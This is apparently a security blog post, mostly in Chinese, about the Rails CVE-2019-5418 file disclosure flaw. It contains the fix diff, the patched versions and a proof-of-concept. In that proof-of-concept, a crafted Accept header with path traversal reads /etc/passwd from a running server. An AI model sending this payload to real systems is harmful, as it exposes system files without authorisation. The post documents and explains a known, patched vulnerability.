过去 15 天内我的第二个 RoR 'CVE-2019-5418' LFI。这是 3 年的错误,仍然存在......页面给出 404,但有错误的应用程序仍在服务器中运行。将“接受:../../../../../../../../etc/passwd{{”" to GET Request and read /etc/passwd
Action View 中可能存在文件内容泄露漏洞。特制的接受标头与调用相结合,render file: 可能导致目标服务器上的任意文件被呈现,从而泄露文件内容。
影响仅限于在render没有指定接受格式的情况下呈现文件内容的调用。控制器中受影响的代码如下所示:
技术分析:https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/
已在 Action View 6.0.0.beta3、5.2.2.1、5.1.6.2、5.0.7.2、4.2.11.1 中修复
From f4c70c2222180b8d9d924f00af0c7fd632e26715 Mon Sep 17 00:00:00 2001
From: John Hawthorn <[email protected]>
Date: Mon, 4 Mar 2019 18:24:51 -0800
Subject: [PATCH] Only accept formats from registered mime types
[CVE-2019-5418]
[CVE-2019-5419]
---
.../lib/action_dispatch/http/mime_negotiation.rb | 5 +++++
actionpack/test/controller/mime/respond_to_test.rb | 10 ++++++----
.../new_base/content_negotiation_test.rb | 14 ++++++++++++--
3 files changed, 23 insertions(+), 6 deletions(-)
diff --git a/actionpack/lib/action_dispatch/http/mime_negotiation.rb b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
index 498b1e669576..4e81ba12a58b 100644
--- a/actionpack/lib/action_dispatch/http/mime_negotiation.rb
+++ b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
@@ -79,6 +79,11 @@ def formats
else
[Mime[:html]]
end
+
+ v = v.select do |format|
+ format.symbol || format.ref == "*/*"
+ end
+
set_header k, v
end
end
概念证明
1.在演示文件夹中运行易受攻击的应用程序:
[email protected]:~$ cd demo/
[email protected]:~$ bundle install
[...]
[email protected]:~$ rails s 12:59:54
=> Booting Puma
=> Rails 5.2.1 application starting in development
=> Run `rails server -h` for more startup options
Puma starting in single mode...
* Version 3.12.0 (ruby 2.5.1-p57), codename: Llamas in Pajamas
* Min threads: 5, max threads: 5
* Environment: development
* Listening on tcp://0.0.0.0:3000
Use Ctrl-C to stop
Started GET "/" for 127.0.0.1 at 2019-03-16 13:00:00 +0100
Processing by Rails::WelcomeController#index as HTML
Rendering /var/lib/gems/2.5.0/gems/railties-5.2.1/lib/rails/templates/rails/welcome/index.html.erb
Rendered /var/lib/gems/2.5.0/gems/railties-5.2.1/lib/rails/templates/rails/welcome/index.html.erb (1.4ms)
Completed 200 OK in 8ms (Views: 2.7ms | ActiveRecord: 0.0ms)
Started GET "/chybeta" for 127.0.0.1 at 2019-03-16 13:00:03 +0100
Processing by ChybetaController#index as HTML
Rendering README.md within layouts/application
Rendered README.md within layouts/application (0.2ms)
Completed 200 OK in 122ms (Views: 121.1ms | ActiveRecord: 0.0ms)
2.前往路线/chybeta
3.用Burp拦截请求并将Accept标头替换为Accept: ../../../../../../../../../../etc/passwd{{
参考:https://github.com/mpgn/CVE-2019-5418